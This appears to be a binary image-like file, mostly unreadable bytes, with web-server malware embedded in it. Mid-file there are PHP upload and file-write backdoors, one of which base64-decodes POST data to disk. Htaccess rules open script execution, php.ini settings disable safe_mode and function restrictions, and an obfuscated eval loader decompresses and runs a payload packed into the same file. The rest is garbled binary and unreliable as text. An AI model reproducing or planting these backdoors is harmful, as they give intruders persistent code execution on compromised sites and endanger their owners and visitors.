Qk3GW1@ɞzʘzW۷ǂdO\p#E!_e$/ 9=;7W6w2%ߎ*?t{ߩD"%%bѣ8\ԑf^|]BYgPW'd'cɋaPzRja7
qŋEcYuDhU!m @zaBg"ROu4xz?UO`/gwzrdbufxvVڒ{`㑖gwzrdbufxvzdaGjOF-Ra;Yexw'Cԩe[T̻p0C02}8I
rt!
A{ٍ6uc{THH|TEj9?GEv5$7e4ho#[i&?ɀ\i1ykavetmhdf*;1{DOQ:J=jz^[(/=|lC:G[!7?gj߻wZ-ԋUp^ykavetmhdfgwzrdbufxvS-NsgRGgR*ʲ3wrro*`sٺeb/f&Mx
jdXoBp؆ykavetmhdfU=-8%T}U.=Y'd)xѠ_dOv\)ՂC7byVzϐLlRu0S 	c#hrJtn=&g+WA^Oj4y!EoNSGDV9ܓTfGrS!hVfj$cRkIxynUb
I#hl
#rUbϩ363ëfI]⢪gwzrdbufxvB唅;(sb~f[cC Y0L̵Tx􄸙[

H@y=Ě;GW𤄇7W9ROLuv8|]qGR9B[׷2Dц52}ZiA!""gFhaAnKM*j}k1	XMQ᱊ Xӡ3ne#3fQA%gwzrdbufxvfʅ]!}ΐ1mtTM7|ɡX3rȚ^C{/4Z~^mRL?=QڽBm}'w#zݮX?7TJ55Lr3K쒅R
gwzrdbufxvdfTeZgwzrdbufxv6~Mέƅ(h-#F2DZU82{)˸Q^ο;:P#o6X^"t7pmj"/5.Ejwj$íqQ)ٸ kysKk\XНK2.$#;; uw(gwzrdbufxvPbS	&׽nUfol2	hOnދGmbvc)uBѓ-N:1GdfrV~]-ꒄ/ 	{zxgwzrdbufxvR!τg^pOC;gwzrdbufxv@Y`ݒnUXj`Vp7s6s~e2Vyg픂G'^
f=Y0K_4f1_ VjI:j\ \n+\k:%:7fO6x&jciuf-Έdf1Mz#}od;2sOgy`Oɬ@^@WNzH2;,@]/;у}?gL!_^fܹҐC
9|`cҟ,/J)С=ykavetmhdflKi 'B#ԉ+$3DX3PQv׺cBmS
xj3oVj(c
-b.γ0fRnT5)C
5@W҆	n730$ފ8T1e_8T|{]nw?#!8K_J^Imw˅jO26!_5RVb$g5l'ol1y4RWj3ƽcI79Ogwzrdbufxvy@W]&fG#hB
$ bۅ6@9([7W2}.aKƼ3[FޯjD5unz@b\4?ߐF"VlTtx#:~Jpk4R!v|2k5ykavetmhdf؄4.)3WF3&rwh4(v#GNZ2s%FKM{n0q|Jb}\ܕoT JzHAWGd4sfKF@anw*L 'Nx˭;,{ $j;YyIxR~ipUykavetmhdf&#۵2ٔ[gȧrl$8ykavetmhdf@gwX[t.;Ke+tzOU
3?D="һѐ0P(JYbױb9%3hHG
ް}	1t\HOȳCͻ&[{(dfHJ9⺯!gVSV
oykavetmhdfmV9] #يvAEl6lzxs_20u`DL;=|K݁ l5jzӉc.jxzAؽ(qDq=B҇b	/ykavetmhdf̍%	*?w"Z:|Θ
)7{سRk?3^S6/TRjywCsIc!t("]Pk#q+!{E[e[Wykavetmhdfȡ:rX\`n.vA.=e*̻gwzrdbufxvڭz=u~!!Y wU;)Gy]}	Nwb67Ϩ6RA.B'rd[F㳙Cykavetmhdf\VPgwzrdbufxvehck`z,Y.0Q$e.˦yPq(##эżK8E)&zy{j8L/
ok-4#./eİY&/ !$
4=sdw2	4aKR9GbyPgx&fǇ&`@{~yykavetmhdf%HgwzrdbufxvdHKKs&Z폘#$J]\_O)C

d]˸mjOjb"X
gє/ykavetmhdf^څ;pI`QA8,8oS&,m&S5F[bk}_jg"\vb1J'dv}5QmJ!PzјĻ64Kr}6={乕5Sj!=8NcsXykavetmhdfXC,NiR&}:BsǾKw1,vJ1JӪ&bu@ՙ۲˜+3n:UK?"3݋L
5.xҹ	Whwykavetmhdf{HƑ?;}oykavetmhdf'L`ar,lon_42o}rU%Kp	qU &-]`GayKFϓv 
s}	ev՜%(s'C]DX	dϗ8Atx,GxCq7eT?~Ogr00@0?Wt!VYJץLe6N=Ϋ+:TYʞz/JqFKmJrL(ȉd+V6a?*3ǌStv
;Zۗą|wrfXM6Z"g3gwzrdbufxv+g$$OyߎW?2̉5V!~vn:HA$fX0
ڤ&'2p?7'uut	ZbT0kKKr"#Úh٫-ً
f8V	!eLf
mE^mF?O*s{gwzrdbufxvDN8k^L¤ ?؇&AMS
r큥fhַg:Z
%gh{r
em
/{Z{奿&b쑂	~{u8%_c8Ggwzrdbufxv]W:k~hE "@aGgwzrdbufxvNծA)&=gWc;HV4}=ےb؛wgQ/I~rr#W'mލ+-Wq43BWbJBykavetmhdffDiSM|RJöiဝ}#UzykavetmhdfTgQpڽYEEkPb8&t/D*3ϛ`Xj޳Q/dvxv,`igwzrdbufxv䖕*-(ykavetmhdfpXs5CӌHykavetmhdfXoWt
[9sl&}qyaM;ykavetmhdf%t
YF˅q4(6N-sXȒ)E'О8c% ҧdVѣU
&R'P"qykavetmhdfWS"
$%k'+cv]nB^"irf/_d|&Lo}:@fp~neS}сo5(cg־rǨgwzrdbufxvQ3F	 Y'u@p;ƜR2kaG,?H6KfNa-K5wXە\:6}3u;aAHw
pzE18J11Ke(wd Z/8ƼQ,jykavetmhdfg }nح%c=rykavetmhdf1q#%d!}\ZD:}ϑtKcϫ6"{13'ly}ȡykavetmhdfD.C3'lpe5BʽD)YJ߹iɹ071Y3+&Zنꐱķrg}[C]xpAjEoap%_F!@[yiuP/'gwzrdbufxvOPW"%Ů0Sĸ/~skMyB] .?P})y9}!;ORQԮpϋIY1b.H[gwzrdbufxvTLYF6,\V3[C	.شG t~m~65^
$|x.!՛{7cT9w
:[G
~ݵH;J$D	4nM T~߱ykavetmhdfIcާYI"W1u'
l9Q}0NHִjGe"2iSkKH'bFHٯTNzkYg4gwzrdbufxvFf~ݎR~C gZß'x+
"tW?(+#j KXZ	J3Hސ!Գe'2,đ%.(*/`0O86tQ[r 	E"cߵJѮ	H㒘v_V[C:q;)yrm7!D;;_[3\$qގND_5:6Jl4gwzrdbufxv&eX]'?gwzrdbufxv:6\s%&	jFȡ!4r[}}55fCٝeA
t8zX1'MrkwQb^0ϖ=r1|:+}^F /g|pNAo!ܲ^]0&UsL"޿+L
Sukgwzrdbufxvby?{$
YtO*{)A)O
]-߳})UNX LD޹txy)y{H҅ +j|̒X:Y+5:NzcNwS%o5|~'ޣۺGѠ;ngzò$B03Y=@ǬhK ~ykavetmhdf{Nybz㼀4O|N5r_֝:EZر-h2l~rgwzrdbufxv2.gwzrdbufxv,=u`P@{V=2yg"`2WݘyHORr=rH"]`#:WQ4Q\wۼA+ВZ`r|Ԏn_v
XIӻD|Q%wIq7/}bSbKk݁,QOykavetmhdf9gwzrdbufxv#|ޱٺHDMǦv݊y#7!Zi
_gwzrdbufxvTl7 ))YrZ Ҥ3,_43;%Ѩn*vBN$Y~}Fagff^gwzrdbufxvwOiNr=.G3OEupΕޤ-ͻCc*RDkķKWܡOB/^gwzrdbufxvX/}RBn j͋E,Xh%Vgwzrdbufxv66Lkc_cmfT]8xp&I"(E'uWc󉙪Cg[^
BϋV	y{|T	x\AvƠO΂
sbk{]P'G]c:N`1dqZykavetmhdfR;Fa%Hykavetmhdfo  Ҙ϶9WxQl*B
/]5ts	ޗhEWx5o;x
Yި_i=CD4%z3ޚ)y;	gȪH2sqLJ$){d?T̿R6XmUr~ ǚRq3x`+#UK	b7Z=Au	,3AmbB[Un91$Ծd_Z
^V :#X܁Z[g=˒ɨJU ("SU+/dj'D\"ykavetmhdfK鴜7UasI2]мckn%˔t ~rZs=)Gǳȩ/BKeMqW?Xznuӌ'.窤=pXr^gwzrdbufxv^NAJc&|l|2уAܶ[ޅPVV➬?ϴzXg3$.=H#dؼ;:p'i3lw|f`%Oϫ,;maF7WUy4	sJ=M6
k.խZcJ9Tgwzrdbufxv{+[EgX2G^ʛ,"n?;gwzrdbufxvM9Iђ'ԇ=oS[1bS)ېH
3y_~AfEL1Vgss ~zFCcK'@l3]k[:Y?gwzrdbufxvٖ^WoSܗLuR1a7a^*H^(طł˭%gwJ+t;/W/ж]NcJ%6įKnfa7iAj)$i[ȾAf&"-ɳ0aݰՙgf}[Moo4GQ'02z\~R̰qSEz=
H!Wqcfq7afw
 '?Aqǜn.dSDGkނ	cVήCHUÿY:w^o̖P8gY{JdN%EkyBj#n%Ni	ʢUfJ{`7CFRsۋ QP
+X~Ϡ֙B 4KU fO^Fg2ykavetmhdf[;lXHd|t#LxɡO+|. ?wtS~ɉ6To4 /~5%ykavetmhdfyÚrj_iydJT_)MPwW2ス$L˅`=.Mp8*^Fa7fa
#075c{''RaYk*ϛ(Ug9O`哸҈dZ*.*|,hQX% t5+sjRku;gwzrdbufxvW' mq#G9Bgwzrdbufxvgwzrdbufxvޛx0h=b}Jb)SܱգgwzrdbufxvQr;jHɯ*_abRzUh
~꽙a(#:^QJD;4\ԆpϠZxC*ۧߞ}Ք)IeWӾ{Աykavetmhdf:;gwzrdbufxvO'T,HD|EkyxؠöBЧrG67}YxEca5:_fvC%ߝǫ.?vD}u%ypryAgwzrdbufxv4]gwzrdbufxv`&vxykavetmhdffI
䳛ųVfF˹5c;`K^݁eB!sP7m)U[&66Ǘ ńFiK;DnnީQy/uf͟`n$)/[ykavetmhdf؎Lvj.޲Fl%hf]
V{$q;Zmyw˅~Q{tFO=9{Jrykavetmhdf!	w;Z96z1k;֖¼]Fڧ"8/;5gwzrdbufxvsR
P
E
\w-ٖ\fxMF7 침%.8 i_/!a+s ykavetmhdf.df?HDqa`fEƛ-K`rx3Qh@:~bclIa}V5hk4wᏫJMO.B	";#RriCN|
2FBdۛ	oj)"nk2-{T"'p|5=)CeUϓR'wDɱ"~["gwzrdbufxva!E&japSpn~+Pצ7]XpMdkg.f&Mx\Bz3#$JL,/?4&'緥Y}J7,0[u LR?f"Pw4Y4P&x\z1I7Q'7׋;'հ/I-(nw,dzi/nɹ|hNj?6sEt*8[vN(uAj ahaAs*g__|vW,pZ?pө$O';[޽u:;KCmtT.wԯd1õyDKYӸrg9[Rykavetmhdf,OW=ӘaJCb?fpڕ黲}&^	лA[uXЪk;&Ac滂nykavetmhdfL?%sq4ykavetmhdfic w:ykavetmhdf]Kzh^{eTKXQۄG3ꤤ?zWʝ%NxrO犳7r$UJ|/`500ā0^MZ^
,\?uZrX+!vm#f\_ץDp4祥#o͆I
ЉZ#@)~(*K@,ςCҗEIaM(F4AWLrKy E;#y#.H_'n׺j7+S%i)m_]OŤValw=JSvͩoE	BEX	s;uFq7w8/aAsonrOSQWcfPykavetmhdf
Siއ)jϏiykavetmhdf[Y`	F|~M_Mi}XF~\|V2*ёmtB3 f*,KUqGQ/ê
oģ:IWq䵎wޞj=q}";)䓼r3)yT%0kVvaykavetmhdfԐ֩ޏMKC	gwzrdbufxv#k_15S_a0,qjykavetmhdfoJ)z:9(J]vW/_NQMũӈykavetmhdfWM"FY3dZ?:(piK3.qٯ=Ցykavetmhdf^5Zbcp^?4=A=J
ātCaykavetmhdfVуkXYI:5ֲþ*,P+jM(+E#g~bT)es
ty5a\ߜ3oC.AMb\x+8/Bt`Gܲ,i%
f3ykavetmhdf;jyՆ-Q0b"Nn6plS{ykavetmhdfNRl!Xo}+EߍOѹM!nђ 1WL}$Cy=T\۳rS4xo`4YDPCgwzrdbufxv߈L=Uud\`x`,&2|{5}NW~{Ҭ]ܳ^̄pzтL	AčNֹl3sj7U~O!xI-kJF"O7C6x
'[EK nuԭ*̯n#7Rxe$Ex3g0Rfoh }uFl1K}z".=KIykavetmhdfmkj+W }cΗykavetmhdfx@1{W~Y&VRvStBr:I=.K`!9,.QrtܧeFAG`؇ڢEo2u%S-Zݮ}%mLիݳda@=amykavetmhdf }B\gRykavetmhdfk{p!v?m ukiWe'2=`jD yk]ۼ|@~_rt}!B2H_[_
Λ+\Tpzi̯maŤȇ.%P\%ͳ{1H\~_s_lNҲO\ݠykavetmhdfb.2bW#=am͸D8%!")Nž_Yr"ܽmI!P#\Ykݳ{jÿî,K|{?BykavetmhdfVqJ'\xhwt.^ mgwzrdbufxv{o=ȰJlyR{y8R$g$bykavetmhdf'4qwtFyykavetmhdffv,㡮T:h~,	0x*P^em^=TطW3Snsu}8W|/&xՈ~߉y?uˤ	F&E7	qwjͨe-Š'/R6YW!Miw$q6eis/bOoo䦗2R%ҷ8jj}2wJUܺ7!hEoDK tβ;fjcrCD%8CrNg9/ENQ,`e!-|&w\J̡n?5PVK%찡IwrLn;T$gwzrdbufxvkloJ9Ўs^rv/!=:$oU6Cֳ݀˝/B걅AS ߫^n75ѼKD	~TͳhGցN3hl]h(v=Cn%-|xO	'-M_gwzrdbufxvL\'D람% SK:wJ鸮miݭkϩ^w l_l/PYlAS~LC^j,e
;\6|N.iȣ:pݡWC	,(ykavetmhdfòRquw'Xgf6HNPykavetmhdfrRYe+l|$sk=9AdN;Oo[]Qq#k^arѷicPNzlѳR)@e^k-K-ykavetmhdfk:fQ7u|ψwpyv̌yff ؏NrERuD*SA2p ը@R\2M6;gwzrdbufxv͉6=f2Mɯ mԥ:5!xBĿ`K\酁**M49sU }iU}g7jHʂrfH́UB;\'rgwzrdbufxv;cp~(ݮhl2+Uv.s	U5ykavetmhdf͝X%cR
2_i!lEX鮵Um%f^匇Rp*ykavetmhdfϮq~-gW1h)mRE9ְ66AS)tﻏLt_BTUm~kgwzrdbufxvNӣ7/9JD;xrph%2gP|k
z[&A\1%J'l]P"NTGjOu@A1)QX6D4=3ؼ7ya
Npr&i
Lyn.sN&
x{&oȵb[Exsß9"N"Yľ!v-1uW0Ql_	qTET}gβc/VW$19~֞pY+=#)ζW& }n3q8u*9~ykavetmhdfZ WzoRqV,oU|ykavetmhdfzW3o:F$_rZ;_)iBߙjٿykavetmhdfix
ޣ855Xx.J@ܹ_r4Xe?}at+?y;߭kZA|Gk5U~wIJ&'piykavetmhdfqgwzrdbufxv1[M1Y3IŨfpgwzrdbufxv}3rs_2SWMrj#tko9owykavetmhdf2C?q޿W޿k~kG{)qF:E-'M#D/
"ߐjg3%9&O+?8!'L^ۨl,U8]ޟ3tF)PA](
oUP]/Q?s/Ì;i!ZLink7=Ueuqywnmey8e΁~&B[-yݔ7n|aN.8
x3ؒ\MϝϿ3]6pXHrV
jޏ@|0#|WodWwbAq7Y	O,}翸=~}?&\ꭻ1NKy?wǜ~vcukk#7^9sd=Bq?s!'*OwXLgwzrdbufxv9{7@#p11wA2~GGm?H<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_d'.'ecod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$nfMi='f'.'ile_ge'.'t'.'_conten'.'ts';$YhqD='gzuncomp'.'ress';$WvTc='ex'.'it';$uRgO='subst'.'r';$qlLQ='s'.'t'.'r'.'_rep'.'lace';eval($YhqD($qlLQ('syjkzrbmtd','>',$qlLQ('raxuqknfvw','<',$uRgO($nfMi( __FILE__ ),-172501)))));$WvTc(0);
?>
xTWP^raxuqknfvwa9g\09_o]E𜽿
"M4??amOs{:K߃%mQTlau|6f_OߣVg?Yn?rֽ=66]+m/3raxuqknfvw#h(/

'"?gG_}O%B[
I0Y9Ͷ
:G2Ѣ [ A Lj
pɈyO%iw{8++lU+yj6;ݸ;@FK;bJ^QjѩB~?7%(HTO(VIa#*ŹT	vat{琾z(Ebjp;C"BLP;kI+Rraxuqknfvwʥ/-"pZzJsyjkzrbmtdXpjAZ5r|s lj=/Oz"|Qkm3n鄶Q$
y=}A1- EdĊ`A ]cM_x`6~NŜhT `Њ~)s`s}
4\E#!UPԧFQd&eJ@&8vcku!c3+)ts:-%τKGh2ԲHmEh S	#'6aW):9R$
]DhjcuNרwcq	0NqSAd~2jj*H\esu|isW'jeVBA}$I?SQpGni¾+IѷU:W_
Cg2raxuqknfvw@syjkzrbmtdb]ytg̛O1E:x.2WC\S)?85/'6_raxuqknfvwlBv1fԊPuجEoT`w
*:T]syjkzrbmtd#;SBTrz^/w@uX2H38s~V܃abq&栭ujU9sN֨1LZWBkUsyjkzrbmtd
wrU'=7h(yI5EU	syjkzrbmtd\
"%_	@)묫{21l-?8raxuqknfvw#{aw؎G5h4Vfn0s,r^kIZ`,㭡+r#+x Isyjkzrbmtd/GOsdu{1F!r' [p
{yҹb*ے8I*vZZ1ر8=~?Gµb!ov1+{Ǌ'lUs率M[raxuqknfvw$tr=
050b=N6зo_k
,5 v3g%EVo.jϙO@6Uκe
7ąN/'(zKǶx(*PjVԙOƎ1TpWeEu]QkÞN|Um8 d"edNog'!q	j f.᥍adtKfnb:UY
Ɇsyjkzrbmtdsyjkzrbmtdo3:RKԞ:0 I_7.k| %(vvkWɎ\~Q2ݩ/OBB1
&lR:7%
*Tvffy8ꐣmETde#fD%C1!1͔Ƕ	}p5}ْmZ&RƑYtl
4Jraxuqknfvwb=EE)?31raxuqknfvwQhU=XgI%ߠkDnz"٩F0\B'4:~IoIEHD Nl_BcNcO`ʒ;&{Zv1`霙4nJ5NL2oXDkmC#~@@pcU2$1[+V927syjkzrbmtd5?+!TVg{xM΅syjkzrbmtdOm^]?xr%VE*fs}=4{J,)P~,S;e|Je|2HJDӬ1?;Craxuqknfvwڇlg5vqNqcETĢNUť\=pGwa7gǏTH$B{,"cQQ m"NIa~Wf:'n+}F8|@+ 	BSg}E5K0T
: =qrqܡX^}A0%~K V1cSz/WJR2\KUּV
cM5r
nqDGsyjkzrbmtd)獩|٨kEڈϫpO6
 O).+AyZ{zEc
_40,J 49@=VUj$I*Ov/$~B7D	~B܇ҙ5@[D2;CamjbHOVFZ`4nG*KN&tmϭ;dkddsyjkzrbmtdYŗ˄AA+֞6ɷ~Es64te@R璼5(A :˪|xR"P|ڪm}Z$
K3Yi#pi1K[T05	j@ QIIUYmQ^姲DJ7syjkzrbmtdQ^$Db8b̕HG}hGsyjkzrbmtd&azLjsyjkzrbmtdNsl3x
f%t*Eraxuqknfvw0ۓa9?.܋yKf"|[^Dz\?0wraxuqknfvwtDؗ=±a%$	w_fD	?twb)ˇ{
~MraxuqknfvwZrIpo{"A{zJ1JǧZBeQQaT!=jJ\xײi);ωSc&raxuqknfvw!$V˻8(IK:YYxFH/·Bn	j-V0c:H1
g:raxuqknfvw퀆o";XL]1Kg[ۮRpY?wDZ+#X)̶&d{-.Q11Qg(3j1 ϧ{?uPaIrsyjkzrbmtd̻_:M#6N#?7|e^-VĪ]`6ddw 462T[$mS	G}syjkzrbmtdX画(ryǟMͻS
J	k!GlJ\7=}	&SRPG'm{^|; y?sjicpaB*\\ȱѡp?BMPlsB+v'o`syjkzrbmtd=.^NG 7Xjׄ	^N	6}]\ukr:G
hraxuqknfvwwe-g|_4Wraxuqknfvw0~{;ki~ЪkAմnsҬHaP'KE%PEU~}s
Llwz"\1JsaEPqM~A	-BraxuqknfvwmU!pկTro\ҵ1{JQj̐ϐtM(*l6&Iȕ~BeIk'xdwzqt
6=sN'akp4raxuqknfvwiX}1͠ܥƍ٥b1"ރ76#2ձraxuqknfvw Dˁ.aՊ=fuX'}xh3M=ks`E[љ
Yhk"%u0TGNѱeϭUap藨A36,n$~Ya5pPNՖv L5O'`:R8-;l
!#;^Wy[5raxuqknfvwiO{OR
1!4y`AѐpϖT/#2dU~!# nZODɸ:#94syjkzrbmtdn0X=0ǧcJ)"\fLraxuqknfvw-GI
|hSqHd-{:ļ\Hf=oY*2T?\lOE+^xR5raxuqknfvwyem*ß[E3Wk&dõ0^c*isyjkzrbmtd==Y~6lh:kv ﵤ0}5(zm'[߄^I0ߍjc靖+{u|oLm]aN[+L+|nB uP&g|1&ǖvBraxuqknfvw"P	ٻCO~)]l`=׼Ŭ#q,ZbN-`~URV1wVs7;#"xVH"`ǥ2ΠGraxuqknfvw
G%f0|˞L7yCQL,dLx5䪼raxuqknfvwvKu jgj},?Vˉzۗ=i +^9BJEX_[gSg,q/#1 /ƄdEu@Quu_`mFEly9iRM|5IV6z0F+EXcj*raxuqknfvw/epB@Π:h-ekީȿe"\dN)\tTa(cͮW%~!J|T%oH+z'V8iWsyjkzrbmtdrx#a:)`iG1H/q1Ө6AGaZ,͠Tzk%cya|]
G8O	čj*('?TP^"|v'zS 7Ө9r+*i+zϮi?זSDzW5)_osyjkzrbmtdL+PflOEu6IM=(qN3ŞVb:s`&=өJP")ځqwB{ueKgoAn&K߸`"JP1rV4tA9`2DEI r807$e^jRW`&vϱƎ&E3ᣜ)!ЈX壋tOWb.ZiőwfeJ5ݒD)Gt0%'՚ԅFmEYqLV~ z17syjkzrbmtd!0j2c"=9{ms@H UWC1򾥴	#/ 0@	L=XuɄiz%[]mI'1 &'x65 2%vQd3_e̾ʉ)}j.bnb͝Ҁ7F(|&Ugn&Pj*@o\95kci:ї~FL05`fBT57raxuqknfvwC彯^sS*M._m|"ɑOޱn?OJ@6
MbWPhA~ݭE~\#@1 ѳIgθz'?T.MG1`ZϸOraxuqknfvwZl?
TAG\5IDsyjkzrbmtdB%E%
AS}lH~݉"PVc$g#0reibY5tUi/f#"(c^΃t6Ҋ#X@FsyjkzrbmtdC#kSPhJDuraxuqknfvwoIEWVu-
px&ybL%r1nraxuqknfvw3 "vTsDTa=tOUVI(a3q/	u{2țj!H lwnw-Bt9GQߢ@hի.WFI)zLDd6HqOLo!syjkzrbmtd|l5	38Zrǂ;) , )Q
K^WSs
O~NWgl;raxuqknfvw@Fz|dh"R}Q l߃ɓ^syjkzrbmtdtEGQg͜_6рi5ʝi*b,Q`*Z@}&araxuqknfvw؛190!XQ-LܚYQgIfssyjkzrbmtd+b\
]'Y.9P-Q
rJfD9(%a?+pnfy4Z/4ѰV/h֕-"#w%U1⍆/J³|uLoE)	!
GFPX
J{ӥ/OnJ3RtKi`C7~vL@L _?dK紘$i	8U`ѻ3HpsyjkzrbmtdL(Q D,
[Lh_ Hk9[?no1]R6A#42*TakTkzo{&Kyw7koWlBciI9h6Og}^mOT%m.l~i?L͍Gޯ@:[̮rܛ5syjkzrbmtdΓ[vd^Gf=6qڂb`VsjXޞ[ּPb6eI@es0n6~lY7+VBw8uT ?7t53{GѕsyjkzrbmtdlzF! qӶZ_9'%7Ϣ? I[Asyjkzrbmtdksa2:'``m

AQF}[zbFD/*|VQ{EZ~`ф	&57#y$"ਘkN~U7-IN/DyWe.x:k}raxuqknfvwaLo='Y	-3@k+j",`eR0Xl
:iD׊/2P5aTxG^o=:|6OWPBQeҼV=tMsfI`Ɓ鋌b:CAE}3q2KFu	V6HCv
)M)l%gzE&1kU[-a2̴83}O6$ROraxuqknfvwf" (jlzH	{JUAȖ+36ڲ|/;E
z("3t Ew'; σ`syjkzrbmtdvxrPD^f|&沇^iGbIIƆO.syjkzrbmtd9UlL/eE)+sz+ET?E('S2IS~Hv厀2p2 ҷKf)ehEpޭz3ݑ}:ɷsyjkzrbmtdКK6VmW b2qXǉFDuiKROraxuqknfvw8(VߏkPo^ 
^s*hCu)+XVURj(kSBA2Rt߶ZVw=/E(OI%kɘe-
"5Y-FTAoO+	y㍻޻/e2dowzX6zU/?/p8»6ݰCl #H9M)#m])88^ XNط jOx%S%Ac
ȩ,qdXc0Ao%CN/\E%,vu
*?g? z1N]NLq5jMF!V
/PZ
j9k΃.yжF^.2@bk
͆Z.PX/LZs"1QއJR'yثq!}4_0Ӯ FIK3Ft5`;Jf܏cӚT⹠SYmsyjkzrbmtd
_CW@2pEm}wTvdnzӃy^Y1jfSTalsyjkzrbmtdsyjkzrbmtdoraxuqknfvw}z+ìRlryjA\Jk[hKx5l,|5-G֞;P2*odӒD:8X`%LkXn@pD89t[sDL
Uօ;N $PzOwa_/(%xmԼnK5VW*tZ;'c%@.x_UF_
^PVmUn~^!vG)cמ:(MV"'WUD$1wo'eBw `%.u_;kraxuqknfvwI]"DӖE;WzJEo=jraxuqknfvwrdACQ1_;Ciu Pk\A]DuNPMh+u&_򾍜Nm/Xi.syjkzrbmtd@԰NMcfԓA	=
=O@RsyjkzrbmtdԍfqD}x~}T5.Y3N4?m.ƣդUȜUvlc/ThuVzB8b͗7j [)
.Ϸ6fbTUypP]猼+﵋{w,-dt϶:Et2&X*t0o.syjkzrbmtdǚnEGq%98rtlssyjkzrbmtddֳ
œl's^|S6`i	zX9Z8A.=$L=;2h~I	O)]N=526E}BjXڦN t9WbJJoyiCnzG%[ZdJQ\xh~+xR:3a.Ϣ^Shb/)؁vl%`rT-9g=ㅑݬ+(`c7pY=ЄqIyPx&W2רKTM`ۢ8/.U	~Q^# EPWż+qmR"(ƶISsӌ8YEtna\NռxJVҫ*CsyjkzrbmtdKf1
Ssƅy/A/I/K8Bi:'VPEYraxuqknfvwunu;%塨ozC%0L
#U;sxp}
ݙ0eN͟jD[qOQ3psyjkzrbmtd/N#Gװ0/^},ެ+~J'Oi{
$uNw`{EHsyjkzrbmtdx`q`RSӒ=6syjkzrbmtdG\Wˆnh]DĈ7e};W1
Ņ4XRE&@RQ_zhg [.An{5?
~AOWN̓bui{
s
J{ќ$~[KticA{TaQd2syjkzrbmtdnco=8oG3= 80c&&ܯraxuqknfvw9raxuqknfvwC yhCeZxL=SF$4:YCNI t%D"9}B0ž_c;Bwlg#X Y)@* #+UħYOܿR$HdDd(%8lsyjkzrbmtd Шŗw+C-(H
`\Bȃ~uSRQq
6~;ײJ~@F4raxuqknfvw?F@|_CmiQ;2eP04w6hdDF;yN{tUcyߟ2[gc~ HD~DhSsDǕxoj?ꀮ_DDP|gw_t=v,Smgp|E9ҳ*Ԡ
␨raxuqknfvwk.]5ƀ,'ƧNk~aj1oSٞ&ȎĂx	ImWuc򽖶DX]zM	߷v	G/
!Hraxuqknfvw[Esyjkzrbmtd5ZD\kz7 _%!11)6FwMsyjkzrbmtdL:Df0raxuqknfvwgjYS~x{dp$Wowȩ |Nէxnᕽvߘ¶jPvdQ#Z;sӪ̍!bE[ٔuL[v%gXY0ysyjkzrbmtdm댪:xB`hM~73HTr$R&3W/8rk׏ n.7syjkzrbmtd\#=~9
S;4O_hE;C4*cuH}՛md 2~,꒿XJO	ӗ1zٱ++	jsyjkzrbmtd7jnбa7kF3"8AWk-%Op4hXt!ߪm29cVtGItr$K :\'}l/"u"Y|{(!:ڊ.my^^gߡq;4+ʚ*IuP`8ExecWލ
ǰ
1%~jjU/
?raxuqknfvw"q0UHi):l7]	x-P+?Z~aSd5.bmLfȵ],2߾m1MCswl͘h"evgf:GM&=$CC?Ӣv
t8ueĨjg4ϜҾ_HBUH~;Hj  ZIt vV'[qCgA =draxuqknfvw%Sؒy"|#PO7gkUa:Є|\=pWlaL+ȟ*+o0gp0syk	PtJ8d;;1s}]dQ%W&FIJ;'X7qy'yJ7q"s T(1]e %:)B`Pٴ4{u
g@T8PP\:"%

X}}XtgS|Hϑ@yiyV:lZ	}N3de%Uь̝oRITuol}l3+oraxuqknfvwE+{rvB(j ۣTF%A(07eMM@gj{vDFmmQج'Q׃=
z=sLHraxuqknfvw
.2VPzz&6!oAD2j
y7~,!C\4lp-~'E-yB@qc[syjkzrbmtdOHĤ+%qws,r:3]	ꂋJR,
jXg;yS]!Aw"n[+l}L-8Z`~Ãzd	]Z/3)+`xʷraxuqknfvw~UB ~-9̒RAZv)|i "K,%OLvw \ZY٘Rmswץ]^nӀob\{hD
)@|M]*DnMC9$R%TErraxuqknfvw*l̌-pRWʾ93߅YaϋMUraxuqknfvw Ko"rd=ґXyK%Ѐ6y.瘽_p	 #hxֿ-{\Bsyjkzrbmtdױ?m`FA̿`yR	 M.&z%wuNaѳs&v!!laW85 ~6&!VZ~pTojkH'rb3Ls@-U'!yag'	f!]|6M!Z0
2Ǧ&uA:pab3f?	,?oz~6c{#/UP"?s.H A?~]1hlOLQ21-TlQ1#msyjkzrbmtdn0G
HݞEGPX)]m,8G-q@FB [{;~!ڼ_ECJKRxSHR^zΪ+'G*z~!܏Yˇ)䡒sqR:BK!qH](y"_NY #+Õs;2N{
cW*Q]Y;UHCyd ,RYA(%A_~-JC]vN(SXOsiM}uURu']rp̦i?lh%$-޴\Ƌued#Ƈ-TEy79QapJsG[t+tEM5#slhڳ9۾)zqG;ժ\#nAɮHxsyjkzrbmtd#~u\=uیFXb/1mpYd稍hHr!J" 5ŨaK=c~Ҭv"2gflnjW_nڀe_M 
bIL-eraxuqknfvw$	iS軄jraxuqknfvw+aGbm#Rlm%l{v%)tЊ!^3zaPoNAd̑c
GޞD3" 7Yi䴭{Xd=3#ċPCݜ#Fk
۴A){!4DAu:+l-5RȻK:syjkzrbmtdTHd7kyO|Pd~!+ރ.M|_ך_~ٍ䦼n syjkzrbmtdC8vel6وoPdk8"{~cy %utknoi-raxuqknfvwgk3N%6}?d)Veo|Hk?gu-b}gqӒqr5syjkzrbmtdqmj־lI
